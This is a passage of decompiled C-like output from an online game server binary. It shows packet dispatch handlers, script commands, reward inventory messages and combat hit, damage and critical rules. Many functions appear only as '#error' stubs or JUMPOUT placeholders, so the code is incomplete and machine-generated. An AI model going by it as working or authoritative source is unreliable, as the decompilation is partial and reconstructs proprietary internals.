**)&LinkServer._Bx._Buf[0]; goto LABEL_18; } if ( !PineEventScriptNode::ScriptParameterPaser::GetByDWARD(&paser, 2, &dwPosX) || !PineEventScriptNode::ScriptParameterPaser::GetByDWARD(&paser, 3, &dwPosY) ) { PineScriptStack::ProcessStack::ps_Pop(ps); if ( LinkClent._Myres >= 0x10 ) operator delete(*(void **)&LinkClent._Bx._Buf[0]); LinkClent._Myres = 15; LinkClent._Mysize = 0; LinkClent._Bx._Buf[0] = 0; if ( LinkServer._Myres < 0x10 ) goto LABEL_19; v10 = *(void **)&LinkServer._Bx._Buf[0]; LABEL_18: operator delete(v10); LABEL_19: LinkServer._Myres = 15; LinkServer._Mysize = 0; LinkServer._Bx._Buf[0] = 0; goto LABEL_20; } memset(&LinkInfo, 0, 0x64u); LinkInfo.Party = 0; v5 = *(const char **)&LinkServer._Bx._Buf[0]; if ( LinkServer._Myres < 0x10 ) v5 = (const char *)&LinkServer._Bx; strncpy(LinkInfo.linktoserver, v5, 0xCu); v6 = *(const char **)&LinkClent._Bx._Buf[0]; if ( LinkClent._Myres < 0x10 ) v6 = (const char *)&LinkClent._Bx; strncpy(LinkInfo.linktoclient, v6, 0xCu); v7 = *(Movie::Theater **)&ps->gap10114[4]; LinkInfo.coordx = dwPosX; LinkInfo.coordy = dwPosY; v8 = (void *)Movie::Theater::GetFieldMap(v7); FieldMap::fm_SetSaveLinktoData(v8, &LinkInfo); PineScriptStack::ProcessStack::ps_Pop(ps); std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&LinkClent); std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&LinkServer); LABEL_20: LOBYTE(v19) = 0; PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser(&paser); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SaveLinkto::sa_Step"); __security_check_cookie(v18); return result; } //----- (004C0660) -------------------------------------------------------- #error "4C0660: undefined or illegal type '#585' (funcsize=172)" //----- (004C08F0) -------------------------------------------------------- #error "4C08F0: undefined or illegal type '#585' (funcsize=202)" //----- (004C0BF0) -------------------------------------------------------- #error "4C0BF0: undefined or illegal type '#585' (funcsize=187)" //----- (004C0EF0) -------------------------------------------------------- #error "4C0EF0: undefined or illegal type '#325' (funcsize=157)" //----- (004C1130) -------------------------------------------------------- void __thiscall PowedNumber::PowedNumber(PowedNumber *this, long double pow) { JUMPOUT(loc_4C114D); } //----- (004C1180) -------------------------------------------------------- void __thiscall OPToolSession::zbs_Parsing(OPToolSession *this, #434 *a2, unsigned __int16 handle) { OPToolSession *v3; // esi@1 CPacketVtbl *v4; // edx@3 int v5; // esi@3 NETCOMMAND *v6; // edi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5C2F64.maa_MobActionStruct.inmove_cancelable.baseclass_0.maim_NextReserv); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5C2F64.maa_MobActionStruct.inmove_cancelable.baseclass_0.maim_NextReserv; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5C2F64.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget, a2 == 0); v4 = v3->baseclass_0.m_Packet.vfptr; v5 = (int)&v3->baseclass_0.m_Packet; v6 = (NETCOMMAND *)v4->GetIDPtr((CPacket *)v5); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 20))(v5); FunctionCallingAnalyzer::fca_NetCommandStorage(&funcallanalizer, v6); optsprotofunc.pft_funcpnt[v6->protocol & 0x3FF][(unsigned int)v6->protocol >> 10]((OPToolSession *)&optoolsock, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5C2F64.maa_MobActionStruct.inmove_cancelable.baseclass_0.maim_NextReserv); } //----- (004C1280) -------------------------------------------------------- void __thiscall ZoneListenSession::zbs_Parsing(ZoneListenSession *this, #434 *a2, unsigned __int16 handle) { ZoneListenSession *v3; // esi@1 CPacketVtbl *v4; // edx@3 int v5; // esi@3 NETCOMMAND *v6; // edi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5C2F64.maa_MobActionStruct.wander); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5C2F64.maa_MobActionStruct.wander; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5C2F64.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget, a2 == 0); v4 = v3->baseclass_0.m_Packet.vfptr; v5 = (int)&v3->baseclass_0.m_Packet; v6 = (NETCOMMAND *)v4->GetIDPtr((CPacket *)v5); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 20))(v5); FunctionCallingAnalyzer::fca_NetCommandStorage(&funcallanalizer, v6); zlsprotofunc.pft_funcpnt[v6->protocol & 0x3FF][(unsigned int)v6->protocol >> 10](&zonelisten, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)&stru_5C2F64.maa_MobActionStruct.wander); } //----- (004C1380) -------------------------------------------------------- void __thiscall ZoneConnectSession::zbs_Parsing(ZoneConnectSession *this, #434 *a2, unsigned __int16 handle) { ZoneConnectSession *v3; // edi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5C2F64.maa_MobActionStruct.swingdamage); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5C2F64.maa_MobActionStruct.swingdamage; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5C2F64.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget, a2 == 0); v3->baseclass_0.m_Packet.vfptr->GetIDPtr(&v3->baseclass_0.m_Packet); v3->baseclass_0.m_Packet.vfptr->GetDataSize(&v3->baseclass_0.m_Packet); *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, &v3->baseclass_0); else AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5C2F64.maa_MobActionStruct.attack.baseclass_0.mant_Target, 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5C2F64.maa_MobActionStruct.swingdamage); } //----- (004C1490) -------------------------------------------------------- void __thiscall GameDBSession::zbs_Parsing(GameDBSession *this, #434 *a2, unsigned __int16 handle) { GameDBSession *v3; // ebx@1 NETCOMMAND *v4; // edi@3 int v5; // esi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::zbs_Parsing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::zbs_Parsing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail(&shineassert, (const char *)&stru_5C2F64.maa_MobActionStruct.action, a2 == 0); v4 = (NETCOMMAND *)v3->baseclass_0.m_Packet.vfptr->GetIDPtr(&v3->baseclass_0.m_Packet); v5 = v3->baseclass_0.m_Packet.vfptr->GetDataSize(&v3->baseclass_0.m_Packet); FunctionCallingAnalyzer::fca_NetCommandStorage(&funcallanalizer, v4); gdsprotofunc.pft_funcpnt[v4->protocol & 0x3FF][(unsigned int)v4->protocol >> 10](v3, v4, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::zbs_Parsing"); } //----- (004C1580) -------------------------------------------------------- void __thiscall GameLogSession::zbs_Parsing(GameLogSession *this, #434 *a2, unsigned __int16 handle) { GameLogSession *v3; // ebx@1 NETCOMMAND *v4; // edi@3 int v5; // esi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameLogSession::zbs_Parsing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameLogSession::zbs_Parsing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail(&shineassert, "GameLogSession::zbs_Parsing : sp entry!!!", a2 == 0); v4 = (NETCOMMAND *)v3->baseclass_0.m_Packet.vfptr->GetIDPtr(&v3->baseclass_0.m_Packet); v5 = v3->baseclass_0.m_Packet.vfptr->GetDataSize(&v3->baseclass_0.m_Packet); FunctionCallingAnalyzer::fca_NetCommandStorage(&funcallanalizer, v4); glsprotofunc.pft_funcpnt[v4->protocol & 0x3FF][(unsigned int)v4->protocol >> 10](v3, v4, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameLogSession::zbs_Parsing"); } //----- (004C1670) -------------------------------------------------------- void __thiscall WorldManagerSession::zbs_Parsing(WorldManagerSession *this, #434 *a2, unsigned __int16 handle) { WorldManagerSession *v3; // ebx@1 NETCOMMAND *v4; // edi@3 int v5; // esi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WorldManagerSession::zbs_Parsing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::zbs_Parsing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::zbs_Parsing : sp entry!!!", a2 == 0); v4 = (NETCOMMAND *)v3->baseclass_0.m_Packet.vfptr->GetIDPtr(&v3->baseclass_0.m_Packet); v5 = v3->baseclass_0.m_Packet.vfptr->GetDataSize(&v3->baseclass_0.m_Packet); FunctionCallingAnalyzer::fca_NetCommandStorage(&funcallanalizer, v4); wldmanprotofunc.pft_funcpnt[v4->protocol & 0x3FF][(unsigned int)v4->protocol >> 10](v3, v4, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::zbs_Parsing"); } //----- (004C1760) -------------------------------------------------------- #error "4C1760: undefined or illegal type '#434' (funcsize=85)" //----- (004C1880) -------------------------------------------------------- void __thiscall RecallPointTable::RecallPointTable(ShineScript *this) { OptionReader::OptionReader(&this->baseclass_0); } //----- (004C1890) -------------------------------------------------------- void __thiscall RecallPointTable::rpt_Load(RecallPointTable *this, Name4 *world) { unsigned int v2; // eax@1 OptionReader *v3; // edi@1 char *v4; // eax@1 int v5; // edx@1 int v6; // ecx@1 int v7; // eax@2 int i; // ebp@5 void *v9; // eax@6 void *v10; // esi@6 unsigned int v11; // eax@7 ORToken v12; // [sp-18h] [bp-B4h]@6 int v13; // [sp-14h] [bp-B0h]@6 int v14; // [sp-10h] [bp-ACh]@6 char *v15; // [sp-Ch] [bp-A8h]@1 const char *v16; // [sp-8h] [bp-A4h]@1 int v17; // [sp-4h] [bp-A0h]@1 char rst; // [sp+13h] [bp-89h]@2 ORToken *v19; // [sp+14h] [bp-88h]@6 char path[128]; // [sp+18h] [bp-84h]@1 v2 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v2; v3 = (OptionReader *)this; v4 = (char *)&namestring + 256 * v2; *(_QWORD *)v4 = *(_QWORD *)&world->n4_name[0]; v5 = *(_DWORD *)&world->n4_name[8]; v17 = (int)v4; *((_DWORD *)v4 + 2) = v5; v6 = *(_DWORD *)&world->n4_name[12]; v16 = "../9Data/Shine/World/%s/RecallCoord.txt"; v15 = path; *((_DWORD *)v4 + 3) = v6; v4[16] = 0; sprintf(v15, v16); if ( !OptionReader::or_Read(v3, path) ) { rst = OptionReader::or_Read(v3, "../9Data/Shine/World/RecallCoord.txt"); v7 = OptionReader::or_ErrorLine(v3); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "Error in read RecallCoord option", v7); ShineExit("RecallPointTable::rpt_Load"); } } for ( i = 0; ; ++i ) { v17 = i; v19 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, "RecallPoint", 0x14u); v9 = OptionReader::or_SelectFromOrder(v3, v12, v17); v10 = v9; if ( !v9 ) break; v11 = BTree::operator__(&stru_125739F0, (const char *)v9); if ( v11 == -1 ) LOWORD(v11) = -1; *((_DWORD *)v10 + 8) = (unsigned __int16)v11; } } //----- (004C19C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // edi@1 char *v5; // esi@5 ZoneBaseSession *v6; // eax@7 char *v7; // [sp-Ch] [bp-1Ch]@4 v4 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S3_45 & 1) ) { _S3_45 |= 1u; cmc_52.cmc_AllowMode = 70; atexit(_E4_80); } if ( (1 << **(_BYTE **)(v4 + 3716)) & cmc_52.cmc_AllowMode ) { ItemBag::ib_clear((ItemBag *)(v4 + 86144)); v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4249; *((_WORD *)v5 + 1) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v4); *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v5[8] = 2; *(_DWORD *)(v5 + 9) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v5[13] = 1; *((_WORD *)v5 + 7) = 24 * *(_WORD *)(netcmd + 2); *((_WORD *)v5 + 8) = 24 * *(_WORD *)(netcmd + 2) + 23; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 18) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ : Packet Too Long", 18); } v7 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ"; } else { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 46, 4611); v7 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); } //----- (004C1B50) -------------------------------------------------------- #error "4C1B50: undefined or illegal type '#325' (funcsize=60)" //----- (004C1C30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_FillRewardInven(void *this, int rewardinv) { void *v2; // edi@1 char *v3; // eax@1 int v4; // esi@1 int v5; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FillRewardInven"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_FillRewardInven"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ItemBag::ib_clear((ItemBag *)v2 + 21536); ItemBag::ib_InitializeAsNumber( (ItemBag *)v2 + 21536, (char *)(rewardinv + 15), (PROTO_ITEMPACKET_TOTAL *)(rewardinv + 16), 2); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12333; v4 = ItemRewardStorage::irs_FillBufferItem( (ItemRewardStorage *)((char *)v2 + 86144), v3 + 2, (PROTO_ITEMPACKET_INFORM *)(v3 + 3)) + 3; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v4) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_FillRewardInven : Packet Too Long", v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FillRewardInven"); } //----- (004C1D40) -------------------------------------------------------- int __thiscall EngNormAtt::ena_LH(EngNormAtt *this, int leveldiff) { return 30; } //----- (004C1D50) -------------------------------------------------------- #error "4C1D50: undefined or illegal type '#325' (funcsize=27)" //----- (004C1DA0) -------------------------------------------------------- int __thiscall EngNormAtt::ena_masicdamage(EngNormAtt *this, #325 *a2, #325 *a3, EngageFlag *ef) { return 1; } //----- (004C1DB0) -------------------------------------------------------- void __thiscall EngSklAtt::EngSklAtt(EngSklAtt *this) { this->baseclass_0.vfptr = (EngNormAttVtbl *)EngSklAtt::_vftable_; } // 5C35A8: using guessed type int (__stdcall *EngSklAtt___vftable_[4])(int, int, int ef); //----- (004C1DC0) -------------------------------------------------------- void __thiscall EngSklAtt::_EngSklAtt(EngSklAtt *this) { this->baseclass_0.vfptr = (EngNormAttVtbl *)EngNormAtt::_vftable_; } // 5C3590: using guessed type int (__stdcall *EngNormAtt___vftable_[4])(int, int, int ef); //----- (004C1DD0) -------------------------------------------------------- int __thiscall EngNormAtt::ena_attack(EngNormAtt *this, #325 *a2, #325 *a3, EngageFlag *ef, char *iscritical) { EngNormAtt *v5; // esi@1 signed int v6; // eax@1 unsigned int v7; // ecx@1 char *v8; // ecx@1 int v9; // edx@1 int result; // eax@2 int v11; // [sp+0h] [bp-1Ch]@0 int v12; // [sp+4h] [bp-18h]@0 int v13; // [sp+8h] [bp-14h]@0 v5 = this; v6 = ((int (__stdcall *)(int, int, int))this->vfptr->ena_physichitrate)(v11, v12, v13); v7 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v7; v8 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v7]]; v9 = *((_DWORD *)v8 + 8193) & (*((_DWORD *)v8 + 8192) + 1); *((_DWORD *)v8 + 8192) = v9; if ( v6 >= *(_WORD *)&v8[2 * v9] ) { result = v5->vfptr->ena_physicdamage(v5, a2, a3, ef); rndbox.rb_box[10].rs_point.value = rndbox.rb_box[10].rs_point.mask & (rndbox.rb_box[10].rs_point.value + 1); if ( rndbox.rb_box[10].rs_slot[rndbox.rb_box[10].rs_point.value] ) { *iscritical = 0; } else { result *= 2; *iscritical = 1; } } else { result = 0; } return result; } //----- (004C1E80) -------------------------------------------------------- int __thiscall EngSklAtt::esa_physicaldamage(EngSklAtt *this, #325 *a2, #325 *a3, EngageFlag *ef) { ActiveSkillInfoServer *v4; // eax@1 EngSklAtt *v5; // edi@1 unsigned int v6; // eax@2 char *v7; // eax@2 int v8; // ecx@2 SkillDataBox::SkillDataIndex *v9; // ebx@2 signed int v11; // eax@5 unsigned int v12; // ecx@5 char *v13; // ecx@5 int v14; // edx@5 int v15; // eax@8 char *v16; // eax@10 int v17; // ecx@10 unsigned __int16 v18; // ax@10 v4 = ef->efm_sklinfo->sdi_ServInf; v5 = this; if ( v4->PsySucRate ) { v6 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v6; v7 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v6]]; v8 = *((_DWORD *)v7 + 8193) & (*((_DWORD *)v7 + 8192) + 1); *((_DWORD *)v7 + 8192) = v8; v9 = ef->efm_sklinfo; if ( ef->efm_sklinfo->sdi_ServInf->PsySucRate < *(_WORD *)&v7[2 * v8] ) return 0; } else { if ( !v4->SkilPyHitRate || (v11 = this->baseclass_0.vfptr->ena_physichitrate((EngNormAtt *)this, a2, a3, ef), v12 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1), rndbox.rb_box[4].rs_point.value = v12, v13 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v12]], v14 = *((_DWORD *)v13 + 8193) & (*((_DWORD *)v13 + 8192) + 1), *((_DWORD *)v13 + 8192) = v14, v11 < *(_WORD *)&v13[2 * v14]) || (v9 = ef->efm_sklinfo, ef->efm_sklinfo->sdi_ServInf->SkilPyHitRate < RandomBox::rb_1000(&rndbox)) ) return 0; } v15 = v9->sdi_Activ->MaxWC - v9->sdi_Activ->MinWC + 1; if ( v9->sdi_Activ->MaxWC - v9->sdi_Activ->MinWC == -1 || (unsigned int)v15 > 0x64 ) { v18 = 0; } else { v16 = (char *)&rndbox + 32776 * v15; v17 = *((_DWORD *)v16 + 8193) & (*((_DWORD *)v16 + 8192) + 1); *((_DWORD *)v16 + 8192) = v17; v18 = *(_WORD *)&v16[2 * v17]; } return ef->efm_sklinfo->sdi_Activ->MinWC + v18 + v5->baseclass_0.vfptr->ena_physicdamage((EngNormAtt *)v5, a2, a3, ef); } //----- (004C1FD0) -------------------------------------------------------- int __thiscall EngSklAtt::esa_masicaldamage(EngSklAtt *this, #325 *a2, #325 *a3, EngageFlag *ef) { ActiveSkillInfoServer *v4; // eax@1 EngSklAtt *v5; // esi@1 unsigned int v6; // eax@2 char *v7; // eax@2 int v8; // ecx@2 SkillDataBox::SkillDataIndex *v9; // ebx@2 signed int v11; // eax@5 unsigned int v12; // ecx@5 char *v13; // ecx@5 int v14; // edx@5 int v15; // eax@8 v4 = ef->efm_sklinfo->sdi_ServInf; v5 = this; if ( v4->MagSucRate ) { v6 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v6; v7 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v6]]; v8 = *((_DWORD *)v7 + 8193) & (*((_DWORD *)v7 + 8192) + 1); *((_DWORD *)v7 + 8192) = v8; v9 = ef->efm_sklinfo; if ( ef->efm_sklinfo->sdi_ServInf->MagSucRate < *(_WORD *)&v7[2 * v8] ) return 0; } else { if ( !v4->SkilMaHitRate || (v11 = this->baseclass_0.vfptr->ena_physichitrate((EngNormAtt *)this, a2, a3, ef), v12 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1), rndbox.rb_box[4].rs_point.value = v12, v13 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v12]], v14 = *((_DWORD *)v13 + 8193) & (*((_DWORD *)v13 + 8192) + 1), *((_DWORD *)v13 + 8192) = v14, v11 < *(_WORD *)&v13[2 * v14]) || (v9 = ef->efm_sklinfo, ef->efm_sklinfo->sdi_ServInf->SkilMaHitRate < RandomBox::rb_1000(&rndbox)) ) return 0; } v15 = v9->sdi_Activ->MaxMA - v9->sdi_Activ->MinMA + 1; if ( v9->sdi_Activ->MaxMA - v9->sdi_Activ->MinMA != -1 ) { if ( (unsigned int)v15 <= 0x64 ) rndbox.rb_box[v15].rs_point.value = rndbox.rb_box[v15].rs_point.mask & (rndbox.rb_box[v15].rs_point.value + 1); } return v5->baseclass_0.vfptr->ena_masicdamage((EngNormAtt *)v5, a2, a3, ef); } //----- (004C2100) -------------------------------------------------------- #error "4C2100: undefined or illegal type '#325' (funcsize=124)" //----- (004C22D0) -------------------------------------------------------- #error "4C22D0: undefined or illegal type '#325' (funcsize=148)" //----- (004C24F0) -------------------------------------------------------- #error "4C24F0: undefined or illegal type '#325' (funcsize=282)" //----- (004C2900) -------------------------------------------------------- #error "4C2900: undefined or illegal type '#325' (funcsize=158)" //----- (004C2B50) -------------------------------------------------------- #error "4C2B50: undefined or illegal type '#325' (funcsize=155)" //----- (004C2DA0) -------------------------------------------------------- #error "4C2DA0: undefined or illegal type '#325' (funcsize=155)" //----- (004C2FF0) -------------------------------------------------------- #error "4C2FF0: undefined or illegal type '#325' (funcsize=420)" //----- (004C35F0) -------------------------------------------------------- #error "4C35F0: undefined or illegal type '#325' (funcsize=420)" //----- (004C3BF0) -------------------------------------------------------- char __thiscall RulesOfEngagement::roe_IsDamageSkill(RulesOfEngagement *this, EngageArgument *argument) { SkillDataBox::SkillDataIndex *v2; // eax@1 char result; // al@2 v2 = argument->sklinfo; if ( v2 ) result = v2->sdi_ServInf->UsualAttack; else result = 0; return result; } //----- (004C3C10) -------------------------------------------------------- #error "4C3C10: undefined or illegal type '#325' (funcsize=111)" //----- (004C3DA0) -------------------------------------------------------- #error "4C3DA0: undefined or illegal type '#325' (funcsize=95)" //----- (004C3F00) -------------------------------------------------------- long double __thiscall RulesOfEngagement::roe_DefendPower(RulesOfEngagement *this, EngageArgument *argument) { return 0.0; } //----- (004C3F10) -------------------------------------------------------- #error "4C3F10: undefined or illegal type '#325' (funcsize=87)" //----- (004C4040) -------------------------------------------------------- #error "4C4040: undefined or illegal type '#325' (funcsize=139)" //----- (004C4210) -------------------------------------------------------- void __thiscall RulesOfEngagement::roe_CriticalStun(RulesOfEngagement *this, EngageArgument *argument) { unsigned int v2; // eax@2 char *v3; // eax@2 if ( argument->iscritical ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; *((_DWORD *)v3 + 8192) = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); ((void (__stdcall *)(_DWORD))this->vfptr->roe_CriticalStunRate)(argument); } } //----- (004C4330) -------------------------------------------------------- long double __thiscall RulesOfEngagement::roe_CriticalStunRate(RulesOfEngagement *this, EngageArgument *argument) { return 200.0; } //----- (004C4340) -------------------------------------------------------- #error "4C4340: undefined or illegal type '#325' (funcsize=89)" //----- (004C4440) -------------------------------------------------------- void __thiscall RulesOfEngagementNormalPY::RulesOfEngagementNormalPY(RulesOfEngagementNormalPY *this) { this->baseclass_0.vfptr = (RulesOfEngagementVtbl *)&RulesOfEngagementNormalPY::_vftable_; } // 5C3818: using guessed type double (__stdcall *RulesOfEngagementNormalPY___vftable_)(int argument); //----- (004C4450) -------------------------------------------------------- void __thiscall RulesOfEngagementNormalMA::RulesOfEngagementNormalMA(RulesOfEngagementNormalMA *this) { this->baseclass_0.vfptr = (RulesOfEngagementVtbl *)&RulesOfEngagementNormalMA::_vftable_; } // 5C383C: using guessed type double (__stdcall *RulesOfEngagementNormalMA___vftable_)(int argument); //----- (004C4460) -------------------------------------------------------- void __thiscall RulesOfEngagementPhisycalSkill::RulesOfEngagementPhisycalSkill(RulesOfEngagementPhisycalSkill *this) { this->baseclass_0.baseclass_0.vfptr = (RulesOfEngagementVtbl *)&RulesOfEngagementPhisycalSkill::_vftable_; } // 5C3860: using guessed type double (__stdcall *RulesOfEngagementPhisycalSkill___vftable_)(int argument); //----- (004C4470) -------------------------------------------------------- void __thiscall RulesOfEngagementMagicalSkill::RulesOfEngagementMagicalSkill(RulesOfEngagementMagicalSkill *this) { this->baseclass_0.baseclass_0.vfptr = (RulesOfEngagementVtbl *)&RulesOfEngagementMagicalSkill::_vftable_; } // 5C3884: using guessed type double (__stdcall *RulesOfEngagementMagicalSkill___vftable_)(int argument); //----- (004C4480) -------------------------------------------------------- void __thiscall RulesOfEngagementAlwaysHit::RulesOfEngagementAlwaysHit(RulesOfEngagementAlwaysHit *this) { this->baseclass_0.vfptr = (RulesOfEngagementVtbl *)RulesOfEngagementAlwaysHit::_vftable_; } // 5C38A8: using guessed type double (__stdcall *RulesOfEngagementAlwaysHit___vftable_[4])(int argument); //----- (004C4490) -------------------------------------------------------- void __thiscall RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack(RuleOfEngagementHealAttack *this) { this->baseclass_0.vfptr = (RulesOfEngagementVtbl *)RulesOfEngagement::_vftable_; } // 5C3788: using guessed type double (__stdcall *RulesOfEngagement___vftable_[4])(int argument); //----- (004C44A0) -------------------------------------------------------- void __thiscall RulesOfEngagementAlwaysCritical::RulesOfEngagementAlwaysCritical(RulesOfEngagementAlwaysCritical *this) { this->baseclass_0.baseclass_0.vfptr = (RulesOfEngagementVtbl *)RulesOfEngagementAlwaysCritical::_vftable_; } // 5C38CC: using guessed type double (__stdcall *RulesOfEngagementAlwaysCritical___vftable_[2])(int argument); //----- (004C44B0) -------------------------------------------------------- long double __thiscall RulesOfEngagementAlwaysHit::roe_HitRate(RulesOfEngagementAlwaysCritical *this, EngageArgument *argument) { return 1000.0; } //----- (004C44C0) -------------------------------------------------------- #error "4C44C0: undefined or illegal type '#325' (funcsize=55)" //----- (004C4560) -------------------------------------------------------- void __thiscall RuleOfEngagementHealAttack::RuleOfEngagementHealAttack(RuleOfEngagementHealAttack *this) { this->baseclass_0.vfptr = (RulesOfEngagementVtbl *)RuleOfEngagementHealAttack::_vftable_; } // 5C38F0: using guessed type double (__stdcall *RuleOfEngagementHealAttack___vftable_[4])(int argument); //----- (004C4570) -------------------------------------------------------- int __thiscall EngSklAtt::ena_attack(EngSklAtt *this, #325 *a2, #325 *a3, EngageFlag *ef, char *iscritical) { EngSklAtt *v5; // ebx@1 int result; 